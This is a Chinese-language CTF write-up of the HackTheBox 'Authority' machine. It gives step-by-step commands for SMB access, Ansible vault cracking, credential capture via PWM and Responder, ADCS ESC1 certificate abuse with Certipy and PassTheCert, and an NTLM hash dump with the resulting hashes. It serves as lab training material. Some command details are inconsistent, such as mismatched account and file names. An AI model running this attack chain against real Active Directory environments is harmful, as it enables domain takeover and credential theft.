Hackthebox - Authority

该博客围绕网络渗透展开,先通过挂载smb获取ansible加密vault,破解其密码用于登录PWM,得到明文密码。登录靶机后,利用ADCS目录信息上传Certify获取脆弱证书信息,创建机器账户生成证书请求,最终使用证书对LDAPS服务器认证,将用户添加到管理员组实现权限提升。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#ansible #Certify
赛博雨天:https://yutianqaq.github.io/

Recon

smb

smbmap -H 10.10.11.222 -u ' '

挂载 smb 到 kali
mount -t cifs //10.10.11.222/Development ./smb -o username=smb

cat smb/Automation/Ansible/PWM/defaults/main.yml 得到 ansible 的加密 vault

Ansible

对于 ansible vault 加密,就是破解出 vault 的密码,再从 vault 中解出来存储的密码

接下来使用 john 恢复

cat pwm_admin_password 
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531                                                                            
┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/S2/Authority]
└─$ ansible2john pwm_admin_password > pwm_admin_password.hash

┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/S2/Authority]
└─$ john -w=/usr/share/wordlists/rockyou.txt admin_login.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (hash)                                                           

解密 hash

cat pwm_admin_password | ansible-vault decrypt
Vault password: 
Decryption successful
pWm_@dm!N_!23  

此密码可以用于登录 PWM

PWM

使用得到的密码进入 Configuration Manager 登录 PWM

下载配置文件

修改配置后上传

使用 responder 监听
sudo responder -I tun0

得到明文密码

USER flag

登录到靶机
evil-winrm -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -i 10.10.11.222 -N

Privilege Escalation

根据前面在 smb 里看到 ADCS 目录以及 C 盘下的 Certs

上传 Certify 到靶机,得到一个脆弱的证书信息

*Evil-WinRM* PS C:\Users\svc_ldap\Downloads> upload Certify.exe       
*Evil-WinRM* PS C:\Users\svc_ldap\Downloads> .\Certify.exe find /vulnerable

根据得到信息,可以看到存在漏洞模板,但是需要 Domain Computers

ADCS ESC1

接下来创建一个机器账户

impacket-addcomputer  authority.htb/svc_ldap:'SVC_PASSWORD' -computer-name catcat$ -computer-pass Password123

使用Certipy,我们使用计算机帐户“catcat$”生成了一个证书请求,密码为“Password123”,模板为“CorpVPN”。

certipy req -u 'STX$' -p 'Password123!' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn administrator@authority.htb -dns authority.authority.htb -dc-ip 10.10.11.222

接下来,我们生成两个新证书:一个不包括私钥,另一个不包括证书。

certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
certipy cert -pfx administrator_authority.pfx -nocert -out user.key

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

现在,使用 passcert.py 工具,我们可以使用证书对LDAPS服务器进行身份验证,从而将我们的用户添加到管理员组。

 wget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/main/Python/passthecert.py

python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222

add_user_to_group svc_ldap Administrators

现在 svc_ldap 已经有了管理员权限

hashdump

python3 ~/Tools/impacket/examples/secretsdump.py svc_ldap:"lDaP_1n_th3_cle4r\!"@10.10.11.222 -just-dc-ntlm  
  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::  
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::  
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:5f2d84fb5e44ccaddb52c672b9578fcb:::
  • Ansible - Pentester Promiscuous Notebook
    https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值